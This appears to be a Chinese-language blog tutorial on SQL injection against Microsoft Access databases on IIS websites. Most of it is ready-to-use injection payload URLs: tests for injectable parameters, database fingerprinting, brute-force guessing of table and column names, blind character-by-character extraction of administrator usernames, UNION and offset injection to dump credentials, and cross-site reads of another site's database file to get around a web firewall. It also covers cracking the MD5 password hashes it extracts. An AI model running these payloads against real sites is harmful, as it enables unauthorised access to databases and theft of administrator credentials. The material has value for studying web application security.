LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

Access注入

Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等;
数据库架构组成、数据库高权限操作;
除了access以外,其他数据库在组成方面都是

access数据库与其他数据库不同,它就只有自己一个数据库,往下没有数据库;
access数据库独立存在,每个网站都有自己的accsess数据库,所以没办法使用跨库注入;
access也不需要查询数据库名;
access很多功能都没有,例如文件读取;

  • access
    • 表名
      • 列名
        • 数据

提问:什么决定了网站注入点用户权限
回答:当前网站的数据库用户,数据库的配置文件是谁连接的

找注入点并确定数据库类型

找注入点

'          ● 返回错误
and 1=1    ●返回正常
and 1=2    ● 返回错误
# 满足以上条件即存在注入

判断iis后的数据库类型

and exists (select * from msysobjects)>0 ●返回正常,即可判断其为Access数据库
and exists (select * from sysobjects)>0  ●返回正常,即可判断其为MSSQL数据库

猜数据库名和字段

access数据库没有有效办法获取库表名,只能通过暴力破解的方式一个一个的尝试

猜解数据库表名

access数据库没有库名的概念,直接就是表

and exists(select * from 表名) 
# 一个一个猜,猜中为止,例如:
http://XXX?id=1 and exists(select * from users) 
http://XXX?id=1 and exists(select * from admin)
http://XXX?id=1 and exists(select * from administrator)

猜字段:

and exists(select 字段名 from 表名)
# 一个一个猜,猜中为止 例如:
http://XXX?id=1 and exists(select username from administrator)
http://XXX?id=1 and exists(select user_name from administrator)
http://XXX?id=1 and exists(select password from administrator)

爆破access中的数据

猜字段长度和数据(标准)

猜解字段长度
通过上述步骤可以知道,数据库表名是“administrator”,表中字段有“user_name”和“password”。

#用返回的对错猜测
and (select top 1 len(user_name) from administrator)>xx

#如以下报错,可确定字段数目为5
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>3    ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>4   ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>5  ●报错

猜解字段内容

and (select top 1 asc(mid(user_name,1,1)) from administrator)>xx

#先判断第一个字母,是汉字还是字母
## 返回正常页面说明ASCII值大于0 ,是字母
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0

# 二分法确定acsii码,
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>50
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>75

# 最后根据确定下来的acsii码97,反查对应表得到第一个字母为a,在用同样的方法确定出来其他位字母
## 密码的话一般会做md5加密,记得用网站的解密工具尝试(简单的可以反解成功)

小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

用联合查询方案注入(通用)

首先还是要先猜解出所需的表的表名和字段名,这个没有办法
再用order by语句排序,根据排序数量,可知当前页面可查询字段数,假设为7
再通过union查询数字,确定出页面可显示的字段(假设是第2和3字段)
最后通过union语句联合查询指定表(在可显示的字段替换为需要查询的表中的字段)

order by 7
and 1=2 union select 1,2,3,4,5,6,7 from admin
and 1=2 union select 1,user_name,passwoed,4,5,6,7 from admin

Access注入时,如果列名或表名猜解不到的情况怎么办?

偏移注入和跨库查询

偏移注入

偏移注入会随机爆出一个字段内容,具体是什么看运气
偏移注入只针对Access数据库,当我们只猜到数据库表名但猜不到列名的情况下,这种方法可以帮我们填补。

#第一步:使用之前的方法得到显示点为2,3,字段个数为7,但是我们并不知道列名
http://XXX?id=14 union select 1,2,3,4,5,6,7 from administrator

#第二步:用*依次向前替换数字字段,直到页面显示正常。例如在5替换为*后页面返回正常
http://XXX?id=14union select  1,2,3,4,* from administrator
#说明星号替换了3个字段(也就是表中有三个字段),后续要使用inner jion自表连接查询,因此计算字段数乘以2是否小于当前列(3*2<7)

#第三步:公式成立的话,用inner jion自连接查询
http://XXX?id=14 union select 1,*  from (administrator as a inner join administrator as b on a.id=b.id)

#如果是更多位,可再接inner join
http://XXX?id=14 union select 1,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
跨库查询

假设a和b两个站点在同一服务器上面,但a服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。
这个时候我发现b站点有注入点。并且知道了“2和3”是注入点,可以通过跨库的方式,读取指定目录下access数据库的数据。

http://xxx?id=14 union select 1,adminpassword,username,4,5,6,7 from[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins

参考链接:

Access数据库注入 · 白帽与安全 · 看云 (kancloud.cn)